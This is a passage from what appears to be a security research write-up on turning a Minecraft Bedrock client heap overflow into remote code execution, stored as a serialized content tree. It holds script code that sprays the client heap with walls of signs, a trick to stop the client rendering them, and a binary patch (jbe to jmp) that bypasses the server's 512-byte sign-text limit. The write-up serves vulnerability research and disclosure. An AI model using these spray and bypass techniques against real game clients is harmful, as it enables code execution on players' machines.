ag":75,"props":161168,"children":161169},{"class":77,"line":121},[161170,161174,161179],{"type":23,"tag":75,"props":161171,"children":161172},{"style":82},[161173],{"type":29,"value":85},{"type":23,"tag":75,"props":161175,"children":161176},{"style":88},[161177],{"type":29,"value":161178}," create_wall",{"type":23,"tag":75,"props":161180,"children":161181},{"style":94},[161182],{"type":29,"value":12966},{"type":23,"tag":75,"props":161184,"children":161185},{"class":77,"line":138},[161186,161191,161195],{"type":23,"tag":75,"props":161187,"children":161188},{"style":110},[161189],{"type":29,"value":161190},"    signs",{"type":23,"tag":75,"props":161192,"children":161193},{"style":209},[161194],{"type":29,"value":1193},{"type":23,"tag":75,"props":161196,"children":161197},{"style":94},[161198],{"type":29,"value":161199}," [];\n",{"type":23,"tag":75,"props":161201,"children":161202},{"class":77,"line":161},[161203],{"type":23,"tag":75,"props":161204,"children":161205},{"emptyLinePlaceholder":15},[161206],{"type":29,"value":276},{"type":23,"tag":75,"props":161208,"children":161209},{"class":77,"line":196},[161210,161214,161218,161222,161227,161231,161235,161239,161244,161248,161253,161257,161261,161265],{"type":23,"tag":75,"props":161211,"children":161212},{"style":175},[161213],{"type":29,"value":711},{"type":23,"tag":75,"props":161215,"children":161216},{"style":94},[161217],{"type":29,"value":183},{"type":23,"tag":75,"props":161219,"children":161220},{"style":82},[161221],{"type":29,"value":23033},{"type":23,"tag":75,"props":161223,"children":161224},{"style":110},[161225],{"type":29,"value":161226}," current_y",{"type":23,"tag":75,"props":161228,"children":161229},{"style":209},[161230],{"type":29,"value":1193},{"type":23,"tag":75,"props":161232,"children":161233},{"style":237},[161234],{"type":29,"value":240},{"type":23,"tag":75,"props":161236,"children":161237},{"style":94},[161238],{"type":29,"value":739},{"type":23,"tag":75,"props":161240,"children":161241},{"style":110},[161242],{"type":29,"value":161243},"current_y",{"type":23,"tag":75,"props":161245,"children":161246},{"style":209},[161247],{"type":29,"value":749},{"type":23,"tag":75,"props":161249,"children":161250},{"style":110},[161251],{"type":29,"value":161252}," WALL_HEIGHT",{"type":23,"tag":75,"props":161254,"children":161255},{"style":94},[161256],{"type":29,"value":739},{"type":23,"tag":75,"props":161258,"children":161259},{"style":110},[161260],{"type":29,"value":161243},{"type":23,"tag":75,"props":161262,"children":161263},{"style":209},[161264],{"type":29,"value":62454},{"type":23,"tag":75,"props":161266,"children":161267},{"style":94},[161268],{"type":29,"value":193},{"type":23,"tag":75,"props":161270,"children":161271},{"class":77,"line":220},[161272,161276,161280,161284,161289,161293,161297,161301,161306,161310,161315,161319,161323,161327],{"type":23,"tag":75,"props":161273,"children":161274},{"style":175},[161275],{"type":29,"value":71758},{"type":23,"tag":75,"props":161277,"children":161278},{"style":94},[161279],{"type":29,"value":183},{"type":23,"tag":75,"props":161281,"children":161282},{"style":82},[161283],{"type":29,"value":23033},{"type":23,"tag":75,"props":161285,"children":161286},{"style":110},[161287],{"type":29,"value":161288}," current_x",{"type":23,"tag":75,"props":161290,"children":161291},{"style":209},[161292],{"type":29,"value":1193},{"type":23,"tag":75,"props":161294,"children":161295},{"style":237},[161296],{"type":29,"value":240},{"type":23,"tag":75,"props":161298,"children":161299},{"style":94},[161300],{"type":29,"value":739},{"type":23,"tag":75,"props":161302,"children":161303},{"style":110},[161304],{"type":29,"value":161305},"current_x",{"type":23,"tag":75,"props":161307,"children":161308},{"style":209},[161309],{"type":29,"value":749},{"type":23,"tag":75,"props":161311,"children":161312},{"style":110},[161313],{"type":29,"value":161314}," WALL_WIDTH",{"type":23,"tag":75,"props":161316,"children":161317},{"style":94},[161318],{"type":29,"value":739},{"type":23,"tag":75,"props":161320,"children":161321},{"style":110},[161322],{"type":29,"value":161305},{"type":23,"tag":75,"props":161324,"children":161325},{"style":209},[161326],{"type":29,"value":62454},{"type":23,"tag":75,"props":161328,"children":161329},{"style":94},[161330],{"type":29,"value":193},{"type":23,"tag":75,"props":161332,"children":161333},{"class":77,"line":248},[161334],{"type":23,"tag":75,"props":161335,"children":161336},{"emptyLinePlaceholder":15},[161337],{"type":29,"value":276},{"type":23,"tag":75,"props":161339,"children":161340},{"class":77,"line":270},[161341,161346,161350],{"type":23,"tag":75,"props":161342,"children":161343},{"style":94},[161344],{"type":29,"value":161345},"            [",{"type":23,"tag":75,"props":161347,"children":161348},{"style":209},[161349],{"type":29,"value":9174},{"type":23,"tag":75,"props":161351,"children":161352},{"style":94},[161353],{"type":29,"value":823},{"type":23,"tag":75,"props":161355,"children":161356},{"class":77,"line":279},[161357],{"type":23,"tag":75,"props":161358,"children":161359},{"style":94},[161360],{"type":29,"value":161361},"            \n",{"type":23,"tag":75,"props":161363,"children":161364},{"class":77,"line":303},[161365,161370,161375,161379],{"type":23,"tag":75,"props":161366,"children":161367},{"style":82},[161368],{"type":29,"value":161369},"            const",{"type":23,"tag":75,"props":161371,"children":161372},{"style":110},[161373],{"type":29,"value":161374}," sign_block",{"type":23,"tag":75,"props":161376,"children":161377},{"style":209},[161378],{"type":29,"value":1193},{"type":23,"tag":75,"props":161380,"children":161381},{"style":110},[161382],{"type":29,"value":161383}," world\n",{"type":23,"tag":75,"props":161385,"children":161386},{"class":77,"line":322},[161387,161392,161397,161401,161406],{"type":23,"tag":75,"props":161388,"children":161389},{"style":94},[161390],{"type":29,"value":161391},"                .",{"type":23,"tag":75,"props":161393,"children":161394},{"style":88},[161395],{"type":29,"value":161396},"getDimension",{"type":23,"tag":75,"props":161398,"children":161399},{"style":94},[161400],{"type":29,"value":643},{"type":23,"tag":75,"props":161402,"children":161403},{"style":1266},[161404],{"type":29,"value":161405},"\"overworld\"",{"type":23,"tag":75,"props":161407,"children":161408},{"style":94},[161409],{"type":29,"value":653},{"type":23,"tag":75,"props":161411,"children":161412},{"class":77,"line":340},[161413,161417,161422,161426,161431],{"type":23,"tag":75,"props":161414,"children":161415},{"style":94},[161416],{"type":29,"value":161391},{"type":23,"tag":75,"props":161418,"children":161419},{"style":88},[161420],{"type":29,"value":161421},"getBlock",{"type":23,"tag":75,"props":161423,"children":161424},{"style":94},[161425],{"type":29,"value":643},{"type":23,"tag":75,"props":161427,"children":161428},{"style":110},[161429],{"type":29,"value":161430},"sign_location",{"type":23,"tag":75,"props":161432,"children":161433},{"style":94},[161434],{"type":29,"value":15099},{"type":23,"tag":75,"props":161436,"children":161437},{"class":77,"line":349},[161438,161443,161447,161451],{"type":23,"tag":75,"props":161439,"children":161440},{"style":110},[161441],{"type":29,"value":161442},"            sign_block",{"type":23,"tag":75,"props":161444,"children":161445},{"style":94},[161446],{"type":29,"value":557},{"type":23,"tag":75,"props":161448,"children":161449},{"style":88},[161450],{"type":29,"value":161049},{"type":23,"tag":75,"props":161452,"children":161453},{"style":94},[161454],{"type":29,"value":97},{"type":23,"tag":75,"props":161456,"children":161457},{"class":77,"line":363},[161458,161463,161467,161471,161475,161480],{"type":23,"tag":75,"props":161459,"children":161460},{"style":110},[161461],{"type":29,"value":161462},"                BlockPermutation",{"type":23,"tag":75,"props":161464,"children":161465},{"style":94},[161466],{"type":29,"value":557},{"type":23,"tag":75,"props":161468,"children":161469},{"style":88},[161470],{"type":29,"value":161070},{"type":23,"tag":75,"props":161472,"children":161473},{"style":94},[161474],{"type":29,"value":643},{"type":23,"tag":75,"props":161476,"children":161477},{"style":1266},[161478],{"type":29,"value":161479},"\"minecraft:wall_sign\"",{"type":23,"tag":75,"props":161481,"children":161482},{"style":94},[161483],{"type":29,"value":60069},{"type":23,"tag":75,"props":161485,"children":161486},{"class":77,"line":656},[161487,161492],{"type":23,"tag":75,"props":161488,"children":161489},{"style":110},[161490],{"type":29,"value":161491},"                    facing_direction:",{"type":23,"tag":75,"props":161493,"children":161494},{"style":237},[161495],{"type":29,"value":30550},{"type":23,"tag":75,"props":161497,"children":161498},{"class":77,"line":705},[161499],{"type":23,"tag":75,"props":161500,"children":161501},{"style":94},[161502],{"type":29,"value":4964},{"type":23,"tag":75,"props":161504,"children":161505},{"class":77,"line":787},[161506],{"type":23,"tag":75,"props":161507,"children":161508},{"style":94},[161509],{"type":29,"value":161510},"            ));\n",{"type":23,"tag":75,"props":161512,"children":161513},{"class":77,"line":826},[161514,161519,161524,161528],{"type":23,"tag":75,"props":161515,"children":161516},{"style":82},[161517],{"type":29,"value":161518},"            let",{"type":23,"tag":75,"props":161520,"children":161521},{"style":110},[161522],{"type":29,"value":161523}," sign_component",{"type":23,"tag":75,"props":161525,"children":161526},{"style":209},[161527],{"type":29,"value":1193},{"type":23,"tag":75,"props":161529,"children":161530},{"style":110},[161531],{"type":29,"value":161532}," sign_block\n",{"type":23,"tag":75,"props":161534,"children":161535},{"class":77,"line":834},[161536,161540,161545,161549,161554,161558,161563],{"type":23,"tag":75,"props":161537,"children":161538},{"style":94},[161539],{"type":29,"value":161391},{"type":23,"tag":75,"props":161541,"children":161542},{"style":88},[161543],{"type":29,"value":161544},"getComponent",{"type":23,"tag":75,"props":161546,"children":161547},{"style":94},[161548],{"type":29,"value":643},{"type":23,"tag":75,"props":161550,"children":161551},{"style":110},[161552],{"type":29,"value":161553},"BlockComponentTypes",{"type":23,"tag":75,"props":161555,"children":161556},{"style":94},[161557],{"type":29,"value":557},{"type":23,"tag":75,"props":161559,"children":161560},{"style":110},[161561],{"type":29,"value":161562},"Sign",{"type":23,"tag":75,"props":161564,"children":161565},{"style":94},[161566],{"type":29,"value":15099},{"type":23,"tag":75,"props":161568,"children":161569},{"class":77,"line":881},[161570],{"type":23,"tag":75,"props":161571,"children":161572},{"emptyLinePlaceholder":15},[161573],{"type":29,"value":276},{"type":23,"tag":75,"props":161575,"children":161576},{"class":77,"line":3355},[161577,161582,161586,161590],{"type":23,"tag":75,"props":161578,"children":161579},{"style":110},[161580],{"type":29,"value":161581},"            signs",{"type":23,"tag":75,"props":161583,"children":161584},{"style":94},[161585],{"type":29,"value":557},{"type":23,"tag":75,"props":161587,"children":161588},{"style":88},[161589],{"type":29,"value":15085},{"type":23,"tag":75,"props":161591,"children":161592},{"style":94},[161593],{"type":29,"value":26371},{"type":23,"tag":75,"props":161595,"children":161596},{"class":77,"line":3390},[161597,161602,161606],{"type":23,"tag":75,"props":161598,"children":161599},{"style":110},[161600],{"type":29,"value":161601},"                sign:",{"type":23,"tag":75,"props":161603,"children":161604},{"style":110},[161605],{"type":29,"value":161523},{"type":23,"tag":75,"props":161607,"children":161608},{"style":94},[161609],{"type":29,"value":118},{"type":23,"tag":75,"props":161611,"children":161612},{"class":77,"line":3423},[161613,161618,161622],{"type":23,"tag":75,"props":161614,"children":161615},{"style":110},[161616],{"type":29,"value":161617},"                allocated:",{"type":23,"tag":75,"props":161619,"children":161620},{"style":82},[161621],{"type":29,"value":20313},{"type":23,"tag":75,"props":161623,"children":161624},{"style":94},[161625],{"type":29,"value":118},{"type":23,"tag":75,"props":161627,"children":161628},{"class":77,"line":3436},[161629,161634,161638],{"type":23,"tag":75,"props":161630,"children":161631},{"style":110},[161632],{"type":29,"value":161633},"                block:",{"type":23,"tag":75,"props":161635,"children":161636},{"style":110},[161637],{"type":29,"value":161374},{"type":23,"tag":75,"props":161639,"children":161640},{"style":94},[161641],{"type":29,"value":118},{"type":23,"tag":75,"props":161643,"children":161644},{"class":77,"line":3449},[161645,161650],{"type":23,"tag":75,"props":161646,"children":161647},{"style":110},[161648],{"type":29,"value":161649},"                removed:",{"type":23,"tag":75,"props":161651,"children":161652},{"style":82},[161653],{"type":29,"value":23555},{"type":23,"tag":75,"props":161655,"children":161656},{"class":77,"line":3457},[161657],{"type":23,"tag":75,"props":161658,"children":161659},{"style":94},[161660],{"type":29,"value":161661},"            });\n",{"type":23,"tag":75,"props":161663,"children":161664},{"class":77,"line":3465},[161665],{"type":23,"tag":75,"props":161666,"children":161667},{"style":94},[161668],{"type":29,"value":2503},{"type":23,"tag":75,"props":161670,"children":161671},{"class":77,"line":3473},[161672],{"type":23,"tag":75,"props":161673,"children":161674},{"style":94},[161675],{"type":29,"value":346},{"type":23,"tag":75,"props":161677,"children":161678},{"class":77,"line":3481},[161679],{"type":23,"tag":75,"props":161680,"children":161681},{"style":94},[161682],{"type":29,"value":369},{"type":23,"tag":75,"props":161684,"children":161685},{"class":77,"line":3524},[161686],{"type":23,"tag":75,"props":161687,"children":161688},{"emptyLinePlaceholder":15},[161689],{"type":29,"value":276},{"type":23,"tag":75,"props":161691,"children":161692},{"class":77,"line":4890},[161693,161697,161702],{"type":23,"tag":75,"props":161694,"children":161695},{"style":82},[161696],{"type":29,"value":85},{"type":23,"tag":75,"props":161698,"children":161699},{"style":88},[161700],{"type":29,"value":161701}," remove_wall",{"type":23,"tag":75,"props":161703,"children":161704},{"style":94},[161705],{"type":29,"value":12966},{"type":23,"tag":75,"props":161707,"children":161708},{"class":77,"line":4937},[161709,161713,161717],{"type":23,"tag":75,"props":161710,"children":161711},{"style":110},[161712],{"type":29,"value":161190},{"type":23,"tag":75,"props":161714,"children":161715},{"style":209},[161716],{"type":29,"value":1193},{"type":23,"tag":75,"props":161718,"children":161719},{"style":94},[161720],{"type":29,"value":161199},{"type":23,"tag":75,"props":161722,"children":161723},{"class":77,"line":4950},[161724],{"type":23,"tag":75,"props":161725,"children":161726},{"style":94},[161727],{"type":29,"value":72965},{"type":23,"tag":75,"props":161729,"children":161730},{"class":77,"line":4958},[161731,161735,161739,161743,161747,161751,161755,161759,161763,161767,161771,161775,161779,161783],{"type":23,"tag":75,"props":161732,"children":161733},{"style":175},[161734],{"type":29,"value":711},{"type":23,"tag":75,"props":161736,"children":161737},{"style":94},[161738],{"type":29,"value":183},{"type":23,"tag":75,"props":161740,"children":161741},{"style":82},[161742],{"type":29,"value":23033},{"type":23,"tag":75,"props":161744,"children":161745},{"style":110},[161746],{"type":29,"value":161226},{"type":23,"tag":75,"props":161748,"children":161749},{"style":209},[161750],{"type":29,"value":1193},{"type":23,"tag":75,"props":161752,"children":161753},{"style":237},[161754],{"type":29,"value":240},{"type":23,"tag":75,"props":161756,"children":161757},{"style":94},[161758],{"type":29,"value":739},{"type":23,"tag":75,"props":161760,"children":161761},{"style":110},[161762],{"type":29,"value":161243},{"type":23,"tag":75,"props":161764,"children":161765},{"style":209},[161766],{"type":29,"value":749},{"type":23,"tag":75,"props":161768,"children":161769},{"style":110},[161770],{"type":29,"value":161252},{"type":23,"tag":75,"props":161772,"children":161773},{"style":94},[161774],{"type":29,"value":739},{"type":23,"tag":75,"props":161776,"children":161777},{"style":110},[161778],{"type":29,"value":161243},{"type":23,"tag":75,"props":161780,"children":161781},{"style":209},[161782],{"type":29,"value":62454},{"type":23,"tag":75,"props":161784,"children":161785},{"style":94},[161786],{"type":29,"value":193},{"type":23,"tag":75,"props":161788,"children":161789},{"class":77,"line":4967},[161790,161794,161798,161802,161806,161810,161814,161818,161822,161826,161830,161834,161838,161842],{"type":23,"tag":75,"props":161791,"children":161792},{"style":175},[161793],{"type":29,"value":71758},{"type":23,"tag":75,"props":161795,"children":161796},{"style":94},[161797],{"type":29,"value":183},{"type":23,"tag":75,"props":161799,"children":161800},{"style":82},[161801],{"type":29,"value":23033},{"type":23,"tag":75,"props":161803,"children":161804},{"style":110},[161805],{"type":29,"value":161288},{"type":23,"tag":75,"props":161807,"children":161808},{"style":209},[161809],{"type":29,"value":1193},{"type":23,"tag":75,"props":161811,"children":161812},{"style":237},[161813],{"type":29,"value":240},{"type":23,"tag":75,"props":161815,"children":161816},{"style":94},[161817],{"type":29,"value":739},{"type":23,"tag":75,"props":161819,"children":161820},{"style":110},[161821],{"type":29,"value":161305},{"type":23,"tag":75,"props":161823,"children":161824},{"style":209},[161825],{"type":29,"value":749},{"type":23,"tag":75,"props":161827,"children":161828},{"style":110},[161829],{"type":29,"value":161314},{"type":23,"tag":75,"props":161831,"children":161832},{"style":94},[161833],{"type":29,"value":739},{"type":23,"tag":75,"props":161835,"children":161836},{"style":110},[161837],{"type":29,"value":161305},{"type":23,"tag":75,"props":161839,"children":161840},{"style":209},[161841],{"type":29,"value":62454},{"type":23,"tag":75,"props":161843,"children":161844},{"style":94},[161845],{"type":29,"value":193},{"type":23,"tag":75,"props":161847,"children":161848},{"class":77,"line":4975},[161849],{"type":23,"tag":75,"props":161850,"children":161851},{"style":94},[161852],{"type":29,"value":161361},{"type":23,"tag":75,"props":161854,"children":161855},{"class":77,"line":5016},[161856,161860,161864],{"type":23,"tag":75,"props":161857,"children":161858},{"style":94},[161859],{"type":29,"value":161345},{"type":23,"tag":75,"props":161861,"children":161862},{"style":209},[161863],{"type":29,"value":9174},{"type":23,"tag":75,"props":161865,"children":161866},{"style":94},[161867],{"type":29,"value":823},{"type":23,"tag":75,"props":161869,"children":161870},{"class":77,"line":5025},[161871],{"type":23,"tag":75,"props":161872,"children":161873},{"style":94},[161874],{"type":29,"value":161875},"             \n",{"type":23,"tag":75,"props":161877,"children":161878},{"class":77,"line":5033},[161879,161883,161887,161891,161895,161900],{"type":23,"tag":75,"props":161880,"children":161881},{"style":82},[161882],{"type":29,"value":161369},{"type":23,"tag":75,"props":161884,"children":161885},{"style":110},[161886],{"type":29,"value":161374},{"type":23,"tag":75,"props":161888,"children":161889},{"style":209},[161890],{"type":29,"value":1193},{"type":23,"tag":75,"props":161892,"children":161893},{"style":175},[161894],{"type":29,"value":47403},{"type":23,"tag":75,"props":161896,"children":161897},{"style":88},[161898],{"type":29,"value":161899}," wait_for_block",{"type":23,"tag":75,"props":161901,"children":161902},{"style":94},[161903],{"type":29,"value":97},{"type":23,"tag":75,"props":161905,"children":161906},{"class":77,"line":5041},[161907,161912,161916,161920,161924,161928],{"type":23,"tag":75,"props":161908,"children":161909},{"style":110},[161910],{"type":29,"value":161911},"                world",{"type":23,"tag":75,"props":161913,"children":161914},{"style":94},[161915],{"type":29,"value":557},{"type":23,"tag":75,"props":161917,"children":161918},{"style":88},[161919],{"type":29,"value":161396},{"type":23,"tag":75,"props":161921,"children":161922},{"style":94},[161923],{"type":29,"value":643},{"type":23,"tag":75,"props":161925,"children":161926},{"style":1266},[161927],{"type":29,"value":161405},{"type":23,"tag":75,"props":161929,"children":161930},{"style":94},[161931],{"type":29,"value":1792},{"type":23,"tag":75,"props":161933,"children":161934},{"class":77,"line":5050},[161935],{"type":23,"tag":75,"props":161936,"children":161937},{"style":110},[161938],{"type":29,"value":161939},"                sign_location\n",{"type":23,"tag":75,"props":161941,"children":161942},{"class":77,"line":5058},[161943],{"type":23,"tag":75,"props":161944,"children":161945},{"style":94},[161946],{"type":29,"value":135449},{"type":23,"tag":75,"props":161948,"children":161949},{"class":77,"line":5083},[161950,161954,161958,161962],{"type":23,"tag":75,"props":161951,"children":161952},{"style":110},[161953],{"type":29,"value":161442},{"type":23,"tag":75,"props":161955,"children":161956},{"style":94},[161957],{"type":29,"value":557},{"type":23,"tag":75,"props":161959,"children":161960},{"style":88},[161961],{"type":29,"value":161049},{"type":23,"tag":75,"props":161963,"children":161964},{"style":94},[161965],{"type":29,"value":97},{"type":23,"tag":75,"props":161967,"children":161968},{"class":77,"line":5108},[161969,161973,161977,161981,161985,161989],{"type":23,"tag":75,"props":161970,"children":161971},{"style":110},[161972],{"type":29,"value":161462},{"type":23,"tag":75,"props":161974,"children":161975},{"style":94},[161976],{"type":29,"value":557},{"type":23,"tag":75,"props":161978,"children":161979},{"style":88},[161980],{"type":29,"value":161070},{"type":23,"tag":75,"props":161982,"children":161983},{"style":94},[161984],{"type":29,"value":643},{"type":23,"tag":75,"props":161986,"children":161987},{"style":1266},[161988],{"type":29,"value":161079},{"type":23,"tag":75,"props":161990,"children":161991},{"style":94},[161992],{"type":29,"value":653},{"type":23,"tag":75,"props":161994,"children":161995},{"class":77,"line":5137},[161996],{"type":23,"tag":75,"props":161997,"children":161998},{"style":94},[161999],{"type":29,"value":135449},{"type":23,"tag":75,"props":162001,"children":162002},{"class":77,"line":5163},[162003],{"type":23,"tag":75,"props":162004,"children":162005},{"emptyLinePlaceholder":15},[162006],{"type":29,"value":276},{"type":23,"tag":75,"props":162008,"children":162009},{"class":77,"line":5172},[162010,162014,162018],{"type":23,"tag":75,"props":162011,"children":162012},{"style":94},[162013],{"type":29,"value":161345},{"type":23,"tag":75,"props":162015,"children":162016},{"style":209},[162017],{"type":29,"value":9174},{"type":23,"tag":75,"props":162019,"children":162020},{"style":94},[162021],{"type":29,"value":823},{"type":23,"tag":75,"props":162023,"children":162024},{"class":77,"line":5206},[162025],{"type":23,"tag":75,"props":162026,"children":162027},{"style":94},[162028],{"type":29,"value":2503},{"type":23,"tag":75,"props":162030,"children":162031},{"class":77,"line":5214},[162032],{"type":23,"tag":75,"props":162033,"children":162034},{"style":94},[162035],{"type":29,"value":346},{"type":23,"tag":75,"props":162037,"children":162038},{"class":77,"line":5227},[162039],{"type":23,"tag":75,"props":162040,"children":162041},{"style":94},[162042],{"type":29,"value":369},{"type":23,"tag":75,"props":162044,"children":162045},{"class":77,"line":5259},[162046],{"type":23,"tag":75,"props":162047,"children":162048},{"emptyLinePlaceholder":15},[162049],{"type":29,"value":276},{"type":23,"tag":75,"props":162051,"children":162052},{"class":77,"line":5315},[162053,162058,162062,162067,162071,162076,162080,162085,162089,162094,162098,162102],{"type":23,"tag":75,"props":162054,"children":162055},{"style":110},[162056],{"type":29,"value":162057},"world",{"type":23,"tag":75,"props":162059,"children":162060},{"style":94},[162061],{"type":29,"value":557},{"type":23,"tag":75,"props":162063,"children":162064},{"style":110},[162065],{"type":29,"value":162066},"afterEvents",{"type":23,"tag":75,"props":162068,"children":162069},{"style":94},[162070],{"type":29,"value":557},{"type":23,"tag":75,"props":162072,"children":162073},{"style":110},[162074],{"type":29,"value":162075},"playerSpawn",{"type":23,"tag":75,"props":162077,"children":162078},{"style":94},[162079],{"type":29,"value":557},{"type":23,"tag":75,"props":162081,"children":162082},{"style":88},[162083],{"type":29,"value":162084},"subscribe",{"type":23,"tag":75,"props":162086,"children":162087},{"style":94},[162088],{"type":29,"value":42718},{"type":23,"tag":75,"props":162090,"children":162091},{"style":110},[162092],{"type":29,"value":162093},"arg",{"type":23,"tag":75,"props":162095,"children":162096},{"style":94},[162097],{"type":29,"value":167},{"type":23,"tag":75,"props":162099,"children":162100},{"style":82},[162101],{"type":29,"value":26057},{"type":23,"tag":75,"props":162103,"children":162104},{"style":94},[162105],{"type":29,"value":401},{"type":23,"tag":75,"props":162107,"children":162108},{"class":77,"line":5328},[162109,162114],{"type":23,"tag":75,"props":162110,"children":162111},{"style":88},[162112],{"type":29,"value":162113},"    create_wall",{"type":23,"tag":75,"props":162115,"children":162116},{"style":94},[162117],{"type":29,"value":14944},{"type":23,"tag":75,"props":162119,"children":162120},{"class":77,"line":5336},[162121],{"type":23,"tag":75,"props":162122,"children":162123},{"style":94},[162124],{"type":29,"value":46532},{"type":23,"tag":75,"props":162126,"children":162127},{"class":77,"line":5344},[162128],{"type":23,"tag":75,"props":162129,"children":162130},{"emptyLinePlaceholder":15},[162131],{"type":29,"value":276},{"type":23,"tag":75,"props":162133,"children":162134},{"class":77,"line":5352},[162135,162139,162143,162148,162152,162157,162161,162165,162169,162173,162177,162181,162185,162189],{"type":23,"tag":75,"props":162136,"children":162137},{"style":110},[162138],{"type":29,"value":162057},{"type":23,"tag":75,"props":162140,"children":162141},{"style":94},[162142],{"type":29,"value":557},{"type":23,"tag":75,"props":162144,"children":162145},{"style":110},[162146],{"type":29,"value":162147},"beforeEvents",{"type":23,"tag":75,"props":162149,"children":162150},{"style":94},[162151],{"type":29,"value":557},{"type":23,"tag":75,"props":162153,"children":162154},{"style":110},[162155],{"type":29,"value":162156},"playerLeave",{"type":23,"tag":75,"props":162158,"children":162159},{"style":94},[162160],{"type":29,"value":557},{"type":23,"tag":75,"props":162162,"children":162163},{"style":88},[162164],{"type":29,"value":162084},{"type":23,"tag":75,"props":162166,"children":162167},{"style":94},[162168],{"type":29,"value":643},{"type":23,"tag":75,"props":162170,"children":162171},{"style":82},[162172],{"type":29,"value":47337},{"type":23,"tag":75,"props":162174,"children":162175},{"style":94},[162176],{"type":29,"value":183},{"type":23,"tag":75,"props":162178,"children":162179},{"style":110},[162180],{"type":29,"value":162093},{"type":23,"tag":75,"props":162182,"children":162183},{"style":94},[162184],{"type":29,"value":167},{"type":23,"tag":75,"props":162186,"children":162187},{"style":82},[162188],{"type":29,"value":26057},{"type":23,"tag":75,"props":162190,"children":162191},{"style":94},[162192],{"type":29,"value":401},{"type":23,"tag":75,"props":162194,"children":162195},{"class":77,"line":5392},[162196,162201],{"type":23,"tag":75,"props":162197,"children":162198},{"style":88},[162199],{"type":29,"value":162200},"    remove_wall",{"type":23,"tag":75,"props":162202,"children":162203},{"style":94},[162204],{"type":29,"value":14944},{"type":23,"tag":75,"props":162206,"children":162207},{"class":77,"line":5400},[162208],{"type":23,"tag":75,"props":162209,"children":162210},{"style":94},[162211],{"type":29,"value":46532},{"type":23,"tag":32,"props":162213,"children":162214},{},[162215],{"type":29,"value":162216},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":23,"tag":32,"props":162218,"children":162219},{},[162220],{"type":23,"tag":15189,"props":162221,"children":162224},{"alt":162222,"src":162223},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":23,"tag":32,"props":162226,"children":162227},{},[162228],{"type":29,"value":162229},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":23,"tag":30116,"props":162231,"children":162233},{"id":162232},"a-small-roadblock",[162234],{"type":29,"value":162235},"A Small Roadblock",{"type":23,"tag":32,"props":162237,"children":162238},{},[162239],{"type":29,"value":162240},"While testing our heap spray method, we encountered the following error:",{"type":23,"tag":64,"props":162242,"children":162244},{"code":162243},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[162245],{"type":23,"tag":71,"props":162246,"children":162247},{"__ignoreMap":7},[162248],{"type":29,"value":162243},{"type":23,"tag":32,"props":162250,"children":162251},{},[162252,162254,162260],{"type":29,"value":162253},"An error is thrown by the server executable while trying to assign text longer than ",{"type":23,"tag":71,"props":162255,"children":162257},{"className":162256},[],[162258],{"type":29,"value":162259},"512",{"type":29,"value":162261}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":23,"tag":32,"props":162263,"children":162264},{},[162265],{"type":29,"value":162266},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":23,"tag":32,"props":162268,"children":162269},{},[162270],{"type":29,"value":162271},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":23,"tag":32,"props":162273,"children":162274},{},[162275],{"type":23,"tag":15189,"props":162276,"children":162278},{"alt":61763,"src":162277},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":23,"tag":32,"props":162280,"children":162281},{},[162282,162284,162290],{"type":29,"value":162283},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":23,"tag":71,"props":162285,"children":162287},{"className":162286},[],[162288],{"type":29,"value":162289},"string_length \u003C= 512",{"type":29,"value":162291}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":23,"tag":32,"props":162293,"children":162294},{},[162295],{"type":29,"value":162296},"The disassembly of the comparison looks like this:",{"type":23,"tag":32,"props":162298,"children":162299},{},[162300],{"type":23,"tag":15189,"props":162301,"children":162303},{"alt":61763,"src":162302},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":23,"tag":32,"props":162305,"children":162306},{},[162307,162309,162314,162316,162321,162322,162327,162329,162335,162337,162343,162345,162350,162352,162357],{"type":29,"value":162308},"The code compares ",{"type":23,"tag":71,"props":162310,"children":162312},{"className":162311},[],[162313],{"type":29,"value":67958},{"type":29,"value":162315}," (the string length) to ",{"type":23,"tag":71,"props":162317,"children":162319},{"className":162318},[],[162320],{"type":29,"value":138149},{"type":29,"value":183},{"type":23,"tag":71,"props":162323,"children":162325},{"className":162324},[],[162326],{"type":29,"value":162259},{"type":29,"value":162328}," decimal). It then performs a ",{"type":23,"tag":71,"props":162330,"children":162332},{"className":162331},[],[162333],{"type":29,"value":162334},"jbe",{"type":29,"value":162336},", jumping to address ",{"type":23,"tag":71,"props":162338,"children":162340},{"className":162339},[],[162341],{"type":29,"value":162342},"0x14275114c",{"type":29,"value":162344}," if ",{"type":23,"tag":71,"props":162346,"children":162348},{"className":162347},[],[162349],{"type":29,"value":67958},{"type":29,"value":162351}," is less than or equal to ",{"type":23,"tag":71,"props":162353,"children":162355},{"className":162354},[],[162356],{"type":29,"value":162259},{"type":29,"value":162358},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":23,"tag":32,"props":162360,"children":162361},{},[162362,162364,162369,162371,162377],{"type":29,"value":162363},"To force execution down this path, we patched the ",{"type":23,"tag":71,"props":162365,"children":162367},{"className":162366},[],[162368],{"type":29,"value":162334},{"type":29,"value":162370}," instruction to an unconditional ",{"type":23,"tag":71,"props":162372,"children":162374},{"className":162373},[],[162375],{"type":29,"value":162376},"jmp",{"type":29,"value":162378},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":23,"tag":32,"props":162380,"children":162381},{},[162382],{"type":23,"tag":15189,"props":162383,"children":162385},{"alt":61763,"src":162384},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":23,"tag":32,"props":162387,"children":162388},{},[162389,162391,162396,162398,162403],{"type":29,"value":162390},"After patching the server and calling ",{"type":23,"tag":71,"props":162392,"children":162394},{"className":162393},[],[162395],{"type":29,"value":160500},{"type":29,"value":162397}," with a size of 